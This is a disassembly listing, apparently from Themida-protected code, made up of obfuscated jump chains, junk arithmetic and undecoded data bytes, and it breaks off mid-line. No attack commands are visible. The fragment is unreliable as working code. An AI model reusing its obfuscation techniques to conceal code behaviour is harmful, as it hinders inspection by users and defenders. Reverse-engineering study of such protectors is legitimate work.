; CODE XREF: Themida_:0051ECFDj push 46AD59AAh mov eax, [esp] add esp, 4 neg eax sub esp, 4 mov [esp], ebx mov ebx, 0C067BEAh sub ebx, 79C609F9h or ebx, 7F551993h or ebx, 13E62AE5h add ebx, 0B11F4DD6h jmp loc_5178E4 ; --------------------------------------------------------------------------- loc_51E512: ; CODE XREF: Themida_:00511340j mov [esp], edi mov edi, 548650Ah xor eax, edi mov edi, [esp] add esp, 4 shl eax, 4 sub eax, 0C423859Ch add ecx, eax pop eax add ecx, 2 push ecx push dword ptr [esp+4] mov ecx, [esp] push ebx jmp loc_50FC55 ; --------------------------------------------------------------------------- loc_51E541: ; CODE XREF: Themida_:0051FAFBj mov eax, [esp] jmp loc_5137D5 ; --------------------------------------------------------------------------- loc_51E549: ; CODE XREF: Themida_:00514B42j push esi push edi mov edi, 345F55EBh mov esi, 0D92117D0h add esi, edi pop edi add [esp+8], esi pop esi sub [esp+4], ecx sub dword ptr [esp+4], 0D806DBBh mov ecx, [esp] push ebx mov ebx, esp push esi mov esi, 630F517Eh and esi, 1FF03C2Eh sub esi, 300102Ah add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp mov ecx, [esp] add esp, 4 jmp loc_5107EE ; --------------------------------------------------------------------------- db 5Bh, 81h, 0CBh dd 5CA832B6h, 0FF8426E9h, 5A5052FFh, 0FFC61FE9h, 4EC81FFh dd 89000000h, 8B542404h, 89532404h, 0BB80E9E3h, 3431FFFFh dd 24343324h, 0FFAAE6E9h, 51C681FFh, 110396Ch, 51EE81EEh dd 5D10396Ch, 0C107E6C1h, 0EE8108EEh, 0D19AA0FEh, 0FF9659E9h dd 2BDFFh, 0EF010000h, 243C875Dh, 0E924248Bh, 0FFFF20EEh dd 7EBC15Fh, 2414F753h, 2EBC15Bh, 30AFBF57h, 0EFC10AB0h dd 8CF8106h, 4F008411h, 0F781D7F7h, 3F4D151Ah, 492ABD55h dd 0EB011E96h, 81FB015Dh, 96492AEBh, 0DF015F1Eh, 81241C8Bh dd 4C4h, 243C3300h, 33243C31h, 665C243Ch, 9C240429h, 0FECF90E9h dd 2EDC0FFh, 0FF301FE9h db 0FFh ; --------------------------------------------------------------------------- loc_51E65D: ; CODE XREF: Themida_:00516472j push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], esp push 1A82h jmp loc_50DFE2 ; --------------------------------------------------------------------------- db 1 dd 2434FFD7h, 0FF500CE9h db 0FFh ; --------------------------------------------------------------------------- loc_51E681: ; CODE XREF: Themida_:0051C3ACj sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xor eax, [esp] jmp loc_51A5BF ; --------------------------------------------------------------------------- dd 2474FF55h, 242C8B04h, 4C481h, 48F0000h, 0C2835C24h dd 79F2E902h, 0EB81FFFFh, 4, 8B241C87h, 24892424h, 4BF5724h dd 1000000h, 5F04247Ch, 4C3815Bh, 81000000h, 4ECh, 243C8900h dd 2BFh, 0E9FB0100h, 0FFFF77FEh ; --------------------------------------------------------------------------- loc_51E6F8: ; CODE XREF: Themida_:00510D45j add ebp, 4 jmp loc_51E7A1 ; --------------------------------------------------------------------------- loc_51E703: ; CODE XREF: Themida_:0051B4FEj mov ecx, 72353FDBh jmp loc_50E338 ; --------------------------------------------------------------------------- db 53h, 0B3h, 54h dd 0FFDA9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51E715: ; CODE XREF: Themida_:0050DCF5j push ebx jmp loc_515E9A ; --------------------------------------------------------------------------- loc_51E71B: ; CODE XREF: Themida_:00510B5Aj push 660Dh mov [esp], esi jmp loc_5115B7 ; --------------------------------------------------------------------------- dd 0E96ECD80h, 0FFFFFF25h, 42474FFh, 6273E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E73A: ; CODE XREF: Themida_:0050EBFCj mov [esp], esi push 22E31B16h push dword ptr [esp] pop esi push eax push esp pop eax jmp loc_51B4F8 ; --------------------------------------------------------------------------- loc_51E74E: ; CODE XREF: Themida_:0051A99Ej push ebp push ebx push esi mov esi, 122E0E37h mov ebx, esi pop esi jmp loc_51BD0E ; --------------------------------------------------------------------------- dw 7BB9h dd 813DFC01h, 3D6024C1h, 59CE89C5h, 0E2EBE952h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51E772: ; CODE XREF: Themida_:0050EF40j push eax push ebx jmp loc_516A20 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 30E9DE89h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E783: ; CODE XREF: Themida_:0051EE4Cj pop esp xchg eax, edi jmp loc_514D8A ; --------------------------------------------------------------------------- loc_51E78A: ; CODE XREF: Themida_:00515EF1j add esi, edi pop edi jmp loc_51489A ; --------------------------------------------------------------------------- dw 3BB4h dd 1EE9E320h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E79B: ; CODE XREF: Themida_:005110BDj pop edi jmp loc_5160A9 ; --------------------------------------------------------------------------- loc_51E7A1: ; CODE XREF: Themida_:0051E6FEj add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5186E6 ; --------------------------------------------------------------------------- dw 81ADh dd 4ECh, 0CEE9E900h, 0E5C0FFFFh, 4D14E903h, 3487FFFFh dd 0E668E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51E7CA: ; CODE XREF: Themida_:005180F7j sub esi, 0CA9339Dh jmp loc_51816A ; --------------------------------------------------------------------------- db 81h, 0C6h, 77h dd 8121AE6Fh, 1161B0C6h, 242C8B2Bh, 4C481h, 3AE90000h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E7EF: ; CODE XREF: Themida_:00518207j or esi, edx jmp loc_5106E6 ; --------------------------------------------------------------------------- dw 8953h dd 641168E3h, 3C890000h, 0F1BAE924h, 0C89FFFEh, 0CDD7E924h dd 0D701FFFEh, 0E9F7015Ah, 0FFFF8465h, 4240481h, 5F000000h dd 0FF56A9E9h, 38E768FFh, 14890000h, 2483E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E832: ; CODE XREF: Themida_:00516F0Ej add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_520C16 ; --------------------------------------------------------------------------- dw 0CB01h dd 60C38159h, 81048E16h, 7477E1EBh, 0EEB7E91Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E85A: ; CODE XREF: Themida_:0050B682j pop esp xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 53h, 0B3h, 0CDh dd 0FFCDB4E9h db 0FFh ; --------------------------------------------------------------------------- loc_51E871: ; CODE XREF: Themida_:00512940j pop ecx jmp loc_5104FF ; --------------------------------------------------------------------------- loc_51E877: ; CODE XREF: Themida_:00519EA2j push edx mov dl, 42h push ecx jmp loc_5203F9 ; --------------------------------------------------------------------------- dd 5724048Bh, 4EC81h, 24890000h, 5DBCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E892: ; CODE XREF: Themida_:00519D61j pop esp pop dword ptr [esp] mov esp, [esp] push edx push ebp mov ebp, 641F435Ch jmp loc_51FFB8 ; --------------------------------------------------------------------------- db 0B3h, 0CFh, 80h dd 0EC8366EBh, 4896602h, 6BB024h, 535866C3h, 0C780C7B7h dd 0B0506602h, 0E9C730B9h, 0FFFFDF3Ch ; --------------------------------------------------------------------------- loc_51E8C8: ; CODE XREF: Themida_:00517E1Dj mov ebx, esp add ebx, 4 push eax push 4 jmp loc_516EFA ; --------------------------------------------------------------------------- loc_51E8DB: ; CODE XREF: Themida_:0051A317j mov dl, bh mov ah, dl pop edx pop bx shr ah, 6 xor ah, 1Bh jmp loc_512323 ; --------------------------------------------------------------------------- loc_51E8ED: ; CODE XREF: Themida_:00512340j push 44266576h pop edi shr edi, 8 xchg ecx, edi not ecx xchg ecx, edi xor edi, 1745A35h jmp loc_51CC42 ; --------------------------------------------------------------------------- loc_51E907: ; CODE XREF: Themida_:0050BD7Cj pop esp sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push eax jmp loc_5205CA ; --------------------------------------------------------------------------- db 29h dd 41E959CFh db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51E927: ; CODE XREF: Themida_:00520907j mov edi, 5EC80B40h add edi, 296C57A3h jmp loc_516BEA ; --------------------------------------------------------------------------- db 29h dd 29C381EBh, 0E9172330h, 0FFFFC6B8h, 7448F281h, 0C3811FD6h dd 3E35A11h, 0EB81D329h, 3E35A11h, 0BD55595Ah, 4, 4A3EC381h dd 0EB017B4Eh, 4A3EEB81h, 2C8B7B4Eh, 61AF6824h, 18E90000h dd 5FFFFE0h, 38B67E55h, 0E11BA52h, 59E976A5h, 68FFFFB8h dd 6D72h, 0BB241C89h, 4, 1E16EE81h, 0DE0103DDh, 1E16C681h dd 0C5E903DDh, 56FFFF9Fh, 0B621D4BEh, 0B8C6811Ch, 510D015Dh dd 0FFE456E9h, 0E9E689FFh, 0FFFFA0CAh, 62E9E889h, 55FFFFC0h dd 0E4367BDh, 5DEB0152h, 0C6E9CB01h db 0E8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51E9DB: ; CODE XREF: Themida_:0050EE63j sub eax, edx pop edx push dword ptr [esp] pop ebp add esp, 4 add edi, 7B85309Bh add edi, 0AD33044h sub edi, eax sub edi, 0AD33044h sub edi, 7B85309Bh pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ecx push ebx pop ecx push ecx pop eax push dword ptr [esp] jmp loc_5151C8 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8904EC83h, 0C4BF243Ch, 0E969A520h, 0FFFF8BF0h, 0E80088B5h dd 240C8B66h, 2C481h, 0F8000000h, 80EAB151h, 0E1C0A4E9h dd 34C18004h, 80CBB652h, 53665FEEh, 0DE00C3B3h, 0CE805B66h dd 80CEFE77h, 7CE985C6h, 81000014h, 19FA89EBh, 0ABC6812Bh dd 0E945551Eh, 0FFFFBCE3h ; --------------------------------------------------------------------------- loc_51EA74: ; CODE XREF: Themida_:00510F00j pop edx push 4374h jmp loc_512131 ; --------------------------------------------------------------------------- loc_51EA7F: ; CODE XREF: Themida_:0051689Aj xor ebx, 89D017F0h jmp loc_50C963 ; --------------------------------------------------------------------------- loc_51EA8A: ; CODE XREF: Themida_:0051474Ej mov esp, [esp] jmp loc_50F295 ; --------------------------------------------------------------------------- loc_51EA92: ; CODE XREF: Themida_:0051580Fj push edi jmp loc_51780B ; --------------------------------------------------------------------------- dd 6F6FB850h, 0D8F751B8h, 2E0C140h, 0E5653A25h, 2BA53547h dd 0C5010460h, 9E0E9h, 4C28100h, 0E9000000h, 0FFFF38F4h dd 0D70CE953h, 5152FFFEh, 713F00B9h, 0DDB2BA77h, 0CA01B96Bh dd 0F1BDE959h, 0EE83FFFFh, 24348704h, 8924248Bh, 0BA522424h dd 4, 4245401h, 79685E5Ah, 89000052h, 1CE9242Ch, 0BFFFFEE4h dd 4EAF5ED5h, 0E907E7C1h, 0FFFF6949h ; --------------------------------------------------------------------------- loc_51EB0C: ; CODE XREF: Themida_:00510E10j sub ecx, 73767AB4h add ecx, edx add ecx, 73767AB4h jmp loc_513265 ; --------------------------------------------------------------------------- db 5Dh dd 4245401h, 6A58E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EB2A: ; CODE XREF: Themida_:0051F76Bj mov [esp], edi jmp loc_51CBE1 ; --------------------------------------------------------------------------- loc_51EB32: ; CODE XREF: Themida_:0050C32Dj add esp, 4 loc_51EB35: ; CODE XREF: Themida_:00514A89j ; Themida_:loc_516AC5j push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_511A6C ; --------------------------------------------------------------------------- dd 4240481h, 5A000000h, 68D2B951h, 4AE95F94h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EB57: ; CODE XREF: Themida_:0051FCE2j not edx sub edx, 0FFFFFFFFh push ecx mov ecx, 757434Dh and edx, ecx pop ecx push ebx mov ebx, 20205247h push edi push 856E8AFh mov edi, [esp] add esp, 4 sub ebx, edi jmp loc_51A9D1 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FECA58E9h, 48B66FFh, 4C296824h, 62E90000h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EB9B: ; CODE XREF: Themida_:0052022Cj mov esi, 27615212h or ebp, esi pop esi xor ebp, 0F7F173FDh mov eax, ebp pop ebp add ebp, 744D4F8Fh sub ebp, eax jmp loc_519489 ; --------------------------------------------------------------------------- db 0B8h, 1, 0 dd 0C7010000h, 7AF78158h, 0E968F2A3h, 0FFFF8BB8h, 0E9243C87h dd 0FFFECDA0h, 7BCE685Ch, 3C890000h, 4BF24h, 0C2810000h dd 73575D08h, 65FAC281h, 0FA014CCEh, 65FAEA81h, 0EA814CCEh dd 73575D08h, 81BE565Fh, 0C10FC75Eh, 0B3E908E6h, 5B00001Ah dd 8AE9C330h db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EC13: ; CODE XREF: Themida_:0050E9EDj add esp, 4 jmp loc_51E369 ; --------------------------------------------------------------------------- dw 248Bh dd 0C9BFE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51EC26: ; CODE XREF: Themida_:0050E5F4j mov esi, 4 add ebx, esi pop esi push esi mov esi, esp add esi, 4 sub esi, 4 push esi jmp loc_50EF45 ; --------------------------------------------------------------------------- dd 4C481h, 0BE560000h, 62027CF1h, 0FEFC15E9h db 0FFh ; --------------------------------------------------------------------------- loc_51EC51: ; CODE XREF: Themida_:00514A46j mov [esp], ebx mov ebx, 4 add edx, ebx pop ebx push esi mov esi, 4 jmp loc_50CA17 ; --------------------------------------------------------------------------- loc_51EC67: ; CODE XREF: Themida_:00517070j movzx cx, al push cx pushf jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 13DEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51EC7E: ; CODE XREF: Themida_:0051AB16j shr ebp, 5 sub ebp, 763B1Ch sub ebp, 32698C18h sub ebx, 74DC33D6h add ebx, ebp jmp loc_518170 ; --------------------------------------------------------------------------- loc_51EC9A: ; CODE XREF: Themida_:0051D8F3j sub dl, 27h sub bl, 0A9h add bl, dl add bl, 0A9h pop edx push eax mov al, bl not al mov bl, al pop eax shr bl, 7 jmp loc_5119BB ; --------------------------------------------------------------------------- dw 0D828h dd 0C095B652h, 0CEFE04EEh, 0C680D6F6h, 0D8C680F3h, 0FECED9E9h dd 242489FFh, 0FEFD1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_51ECD5: ; CODE XREF: Themida_:0051CD0Cj pop dword ptr [edi+24h] loc_51ECD8: ; CODE XREF: Themida_:0050D7CFj push 4018h mov [esp], edi push edx jmp loc_50EBCD ; --------------------------------------------------------------------------- loc_51ECE6: ; CODE XREF: Themida_:00517A5Cj pop esp push ebp jmp loc_519B43 ; --------------------------------------------------------------------------- db 80h, 0C5h, 0C9h dd 0D5F6C5FEh, 0E9EAED80h, 0FFFF2B5Ch ; --------------------------------------------------------------------------- loc_51ECFC: ; CODE XREF: Themida_:00514DD0j push eax jmp loc_51E4D7 ; --------------------------------------------------------------------------- loc_51ED02: ; CODE XREF: Themida_:0051A865j mov ebp, [esp] add esp, 4 xchg esi, [esp] pop esp shr ecx, 2 push 685Eh mov [esp], ebx jmp loc_50E6F3 ; --------------------------------------------------------------------------- loc_51ED1F: ; CODE XREF: Themida_:0051B701j not esi shl esi, 5 shl esi, 5 not esi add esi, 80B57405h sub ebx, esi mov esi, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_512880 ; --------------------------------------------------------------------------- db 59h dd 5706E3C1h, 0ED00CCBFh, 0E9FB3133h, 0FFFFF8ACh ; --------------------------------------------------------------------------- loc_51ED54: ; CODE XREF: Themida_:0050E8EBj pop ecx add ecx, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5199A9 ; --------------------------------------------------------------------------- loc_51ED6E: ; CODE XREF: Themida_:00518C35j xchg ebp, [esp] mov esp, [esp] or edx, eax jmp loc_50D560 ; --------------------------------------------------------------------------- db 21h dd 0F6F9E9C3h, 0C483FFFFh, 14A7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51ED8A: ; CODE XREF: Themida_:00514922j mov [esp], edx push edi mov edi, 24h mov edx, edi jmp loc_516396 ; --------------------------------------------------------------------------- dw 8105h dd 15BD91Ah, 1A812DE8h, 55D5BD9h, 4, 0FF2D24E9h, 241C89FFh dd 0FFD6CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_51EDB9: ; CODE XREF: Themida_:0051AEDAj add edx, 74E701Ah add edx, 1DC652E7h add edx, ebp sub edx, 1DC652E7h jmp loc_519569 ; --------------------------------------------------------------------------- dw 8B54h dd 0C481243Ch, 4, 4BD55h, 0EF010000h, 0B951555Dh, 7C45D19h dd 0FF320FE9h, 82E958FFh, 89FFFED3h, 74FF240Ch, 34FF0424h dd 240C8B24h, 5504C483h, 0FF7DD7E9h, 2DE829FFh, 4C3B015Ah dd 5D2434FFh, 52E08950h, 4BAh, 0FAE95200h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EE27: ; CODE XREF: Themida_:0050BE90j pop ebp add ebp, 4 push edi push 79BA4759h mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_51E783 ; --------------------------------------------------------------------------- db 5Ah, 1, 0DFh dd 0FF30D2E9h, 48B66FFh, 4EC8324h, 0E9240C89h, 0FFFF6731h ; --------------------------------------------------------------------------- loc_51EE68: ; CODE XREF: Themida_:00518953j sub esi, ebx add esi, 2D166925h add esi, 6AE50B05h mov ebx, [esp] add esp, 4 mov ebp, [esp] push ebp mov ebp, esp push ecx push 4 pop ecx jmp loc_50EF3D ; --------------------------------------------------------------------------- dw 4481h dd 5E9A0824h, 5C016DABh, 6C810824h, 5E9A0824h, 2CE96DABh db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EEA7: ; CODE XREF: Themida_:00520B8Dj pop esp or eax, eax jz loc_50EFCB push edi push esp mov edi, [esp] add esp, 4 jmp loc_50C256 ; --------------------------------------------------------------------------- dd 76BCEA81h, 40E92FB8h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EECB: ; CODE XREF: Themida_:0051A2FFj add edx, ecx jmp loc_50E0AD ; --------------------------------------------------------------------------- dw 0E8C1h dd 578B2D03h, 0BA52717Ch, 68905F94h, 190EE9h db 0 ; --------------------------------------------------------------------------- loc_51EEE5: ; CODE XREF: Themida_:0051307Bj pop esi xor ebx, 0B908557h push edx jmp loc_520D93 ; --------------------------------------------------------------------------- dw 0BD55h dd 4E0D7BDFh, 3701ED81h, 0E5C157EBh, 7084E906h, 3C89FFFFh dd 26D6824h, 24890000h, 24048124h, 4, 0FF10A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_51EF1D: ; CODE XREF: Themida_:0050C52Ej add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp pop eax mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_516541 ; --------------------------------------------------------------------------- loc_51EF62: ; CODE XREF: Themida_:0051D1B6j pop ecx add esp, 4 push eax jmp loc_518866 ; --------------------------------------------------------------------------- loc_51EF6C: ; CODE XREF: Themida_:00515FEEj mov [esp], ebx mov ebx, 258B74D3h sub [esp+8], ebx push dword ptr [esp] jmp loc_520E8A ; --------------------------------------------------------------------------- dd 2404215Ch, 0C65BE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51EF8A: ; CODE XREF: Themida_:0050D002j jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 52h dd 0EE80EDB6h, 0C0DEF66Bh, 0EE8005EEh, 6B3AE954h, 0E95BFFFFh dd 0FFFF94DDh ; --------------------------------------------------------------------------- loc_51EFA8: ; CODE XREF: Themida_:005206E0j mov edx, 4DB175C6h sub [esp+8], edx mov edx, [esp] add esp, 4 jmp loc_51FBEB ; --------------------------------------------------------------------------- db 89h dd 0D449E9E1h, 535EFFFEh, 1B4DE1BBh, 0D1B4E92Bh, 0EC81FFFFh dd 4, 0BB241C89h, 47DF7BEFh, 685BD931h, 1F75h, 57243489h dd 0CD462D68h, 140DE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51EFF6: ; CODE XREF: Themida_:0051D7BEj not eax not eax or eax, 7CAD6083h inc eax xchg eax, ecx not ecx xchg eax, ecx push ebx jmp loc_51DD3C ; --------------------------------------------------------------------------- dw 4F09h dd 2434FF1Ch, 95BCE959h, 0F581FFFFh, 3B2A2C94h, 0CFBF581h dd 0BCE96C65h, 0B7FFFFA7h, 4B70E962h, 0E9C1FFFFh, 7F8EE906h dd 0D801FFFFh, 0E9525E5Bh, 0FFFF5FBDh, 24048B66h, 470768h dd 24048900h, 8904EC83h, 0A8E92424h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F057: ; CODE XREF: Themida_:00519909j pop ebp add esp, 4 push 587Bh mov [esp], edi jmp loc_51D0B9 ; --------------------------------------------------------------------------- dd 8F3BE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F06E: ; CODE XREF: Themida_:0050CED8j mov [esp], ebx mov ebx, 0ECA71E4h and ebx, 5A73089Dh shr ebx, 8 add ebx, 0FFF5BE04h add ecx, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 4 add ecx, edi jmp loc_517E00 ; --------------------------------------------------------------------------- loc_51F09D: ; CODE XREF: Themida_:0051FC23j shl esi, 8 jmp loc_519265 ; --------------------------------------------------------------------------- loc_51F0A5: ; CODE XREF: Themida_:0051550Dj add eax, 6FA45D9Ah sub eax, ebx sub eax, 6FA45D9Ah pop ebx add eax, ebx add eax, 48B9724Ah add eax, 5C4017D3h pop ebx push edx mov edx, 6AE4712Fh xor eax, edx jmp loc_511ABF ; --------------------------------------------------------------------------- dd 7D04EB81h, 0C38151EDh, 7B9E5D46h, 393168h, 0E14AE900h dd 5150FFFFh, 4EC81h, 4890000h, 536EB424h, 0FEFC5DE9h dd 18C781FFh, 0E9294339h, 0F25h, 2444295Dh, 24448108h dd 180A8B08h, 148B587Bh, 4C48124h, 5D000000h, 4B23B850h dd 27350B2Eh, 0E90B2E4Bh, 0FFFECAB6h, 5C241487h, 0FF50F9E9h dd 0D9315DFFh, 0C4F1815Bh, 0E904B7E8h, 0FFFFAC4Ah, 4C48159h dd 81000000h, 4ECh, 240C8900h, 2C88FD88h, 0D4B0E987h, 0E951FFFEh dd 0FFFF155Ah, 0E924248Bh, 0FFFEE978h ; --------------------------------------------------------------------------- loc_51F168: ; CODE XREF: Themida_:00519372j pop esp add esp, 4 jmp loc_50EF6D ; --------------------------------------------------------------------------- loc_51F171: ; CODE XREF: Themida_:0051FE78j mov ebx, 0F12FD560h add eax, ebx pop ebx add ebp, eax mov eax, [esp] jmp loc_5176E6 ; --------------------------------------------------------------------------- loc_51F183: ; CODE XREF: Themida_:0050F5B6j mov ebx, 1AE12D42h push edi mov edi, 723E532Eh sub ebx, edi jmp loc_520510 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Ah, 83000000h, 3C8904ECh, 0FC28E924h, 0F581FFFFh dd 136143C3h, 6C95F581h, 0EA894A07h, 0FF75EDE9h, 0C4815FFFh dd 4, 0FFDD1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_51F1C9: ; CODE XREF: Themida_:00518719j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp inc dword ptr [esp] mov ebp, [esp] add esp, 4 inc ebp jmp loc_51C9F9 ; --------------------------------------------------------------------------- db 0B0h dd 8BC53013h, 68562404h, 7322h, 24048F54h, 4240483h, 4C6815Eh dd 81000000h, 4C6h, 24348700h, 4A89E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F212: ; CODE XREF: Themida_:0050CA19j mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp jmp loc_50FAEE ; --------------------------------------------------------------------------- loc_51F221: ; CODE XREF: Themida_:00510846j xor [esp], esi xor esi, [esp] jmp loc_51111C ; --------------------------------------------------------------------------- loc_51F22C: ; CODE XREF: Themida_:00516388j pop edx push ecx mov ecx, 4 jmp loc_51D4B7 ; --------------------------------------------------------------------------- loc_51F238: ; CODE XREF: Themida_:0051BEF7j sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_520455 ; --------------------------------------------------------------------------- dd 5D63E381h, 0BA5267BBh, 2F2054Fh, 0FFA85CE9h db 0FFh ; --------------------------------------------------------------------------- loc_51F25D: ; CODE XREF: Themida_:0050EE1Dj add esi, 335312B6h xchg ebp, esi push ebp not dword ptr [esp] pop ebp push esi jmp loc_513D67 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0F7662424h, 5AB268F9h, 83E90000h, 68FFFFFCh dd 4162h, 52240C89h, 0C3E9E289h, 0BDFFFF00h, 733E317Ch dd 0FF4841E9h db 0FFh ; --------------------------------------------------------------------------- loc_51F29D: ; CODE XREF: Themida_:00519982j mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_51FC28 ; --------------------------------------------------------------------------- dd 8904EC83h, 0FFBF243Ch, 0E9FFFFFFh, 0FFFF0567h, 5C243C33h dd 2E9D68h, 24248900h, 4240483h, 5024048Fh, 4B8h, 246C8100h dd 4A723A04h, 24440138h, 24448104h, 4A723A04h, 4DE95838h dd 80FFFF40h, 0EB8027C3h, 7F048Ch, 0CBB2E9D8h, 0C381FFFEh dd 4, 157EE9h, 4C48300h, 0EDE9E3D1h, 81FFFF7Eh, 4C4h, 4C58100h dd 57000000h, 0FE24E953h, 0D189FFFFh, 3E1C15Ah, 0FF7D88E9h dd 2EE958FFh db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F347: ; CODE XREF: Themida_:0050E28Fj add esp, 4 jmp loc_51F3C5 ; --------------------------------------------------------------------------- loc_51F352: ; CODE XREF: Themida_:005122E8j add esp, 4 mov esi, eax jmp loc_5148D0 ; --------------------------------------------------------------------------- aWhfv db 'WhV',0 align 2 dw 2489h dd 24048124h, 4, 4EC835Fh, 0FFB1BEE9h, 28DBB5FFh, 285966E8h dd 5BDB04F8h, 30E98504h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F387: ; CODE XREF: Themida_:00515557j mov ebp, [esp] add esp, 4 jmp loc_513121 ; --------------------------------------------------------------------------- db 31h, 0EAh, 5Dh dd 148BD701h, 4C48124h, 1000000h, 0C2895FF8h, 8BD02958h dd 0C4832414h, 8BC70104h, 0C4832404h, 603BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F3BE: ; CODE XREF: Themida_:0051FF22j mov dl, ch jmp loc_520ECD ; --------------------------------------------------------------------------- loc_51F3C5: ; CODE XREF: Themida_:0051F34Dj sub edx, 3C161B9Bh add edx, 6A6BB0C9h add ebp, edx pop edx sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_50FB45 ; --------------------------------------------------------------------------- db 5, 76h, 2Ah dd 6CE94C30h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F3EF: ; CODE XREF: Themida_:005118DBj push edi xchg esi, [esp] not esi jmp loc_514688 ; --------------------------------------------------------------------------- dw 815Ah dd 4ECh, 0DF85E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F406: ; CODE XREF: Themida_:005151B2j xor edx, ebx pop ebx inc edx sub edx, 0B0A69E11h add ebp, 3F382910h add ebp, edx sub ebp, 3F382910h pop edx jmp loc_51E40F ; --------------------------------------------------------------------------- dd 0FE505BBFh, 1866E978h, 0DA20FFFFh, 0E20CE95Bh, 0C781FFFEh dd 474361A6h, 0EA2FE947h, 8952FFFFh, 4C281E2h, 83000000h dd 148704EAh, 87E95C24h, 89FFFFC5h, 8FBB241Ch, 8153B911h dd 0B9118BF3h, 0EBC78153h, 11E5F24h, 0EBEF81DFh, 5B1E5F24h dd 0FEEFBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_51F479: ; CODE XREF: Themida_:00511306j mov ebp, esp jmp loc_51FFC0 ; --------------------------------------------------------------------------- dd 0BF57E389h, 0DB14A1Ah, 387EC781h, 0DFF70841h, 0FF4950E9h dd 0D7E958FFh, 89FFFF39h, 5868242Ch, 89000063h, 93BF243Ch dd 8931A86Ch, 0FAEEE9FDh, 2505FFFEh, 2956965Dh, 5D252DF8h dd 0EA2D5696h, 57F5F44h, 24DA5A30h, 433CBD55h, 0ED813DABh dd 0D6E33004h, 0FF5DE801h, 685F2434h, 7164h, 89243489h dd 60B951E6h, 0F7026764h, 65C181D1h, 1026764h, 0EC8159CEh dd 4, 0B8240489h, 4, 0E958C601h, 0FFFF3F2Ah, 0E3E1E95Dh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51F512: ; CODE XREF: Themida_:00520385j pop edi add esp, 4 mov ecx, edx jmp loc_50C013 ; --------------------------------------------------------------------------- dd 6B95142h, 81F60D1Ah, 994C14C2h, 81CA2976h, 994C14EAh dd 0D3295976h, 8CF3815Ah, 0E95F0012h, 